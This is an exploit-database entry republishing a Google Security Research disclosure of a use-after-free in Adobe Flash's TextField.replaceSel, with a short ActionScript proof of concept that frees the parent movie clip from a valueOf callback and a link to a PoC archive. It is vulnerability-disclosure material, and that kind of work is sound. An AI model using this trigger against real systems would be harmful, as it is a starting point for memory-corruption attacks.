Adobe Flash TextField.replaceSel - Use-After-Free

2015-12-18T00:00:00
ID 1337DAY-ID-25735
Type zdt
Reporter Google Security Research
Modified 2015-12-18T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            Source: https://code.google.com/p/google-security-research/issues/detail?id=585
 
There is a use-after-free in TextField.replaceSel. If the string parameter of the method is set to an object with toString defined, this method can delete the TextField's parent, leading to a use-after-free.
 
A minimal PoC is as follows:
 
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.replaceSel({valueOf : func});
 
function func(){
 
    mc.removeMovieClip();
 
        // Fix heap here
 
    return "text";
     
    }
 
A sample swf and fla are attached.
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39047.zip

#  0day.today [2018-02-10]  #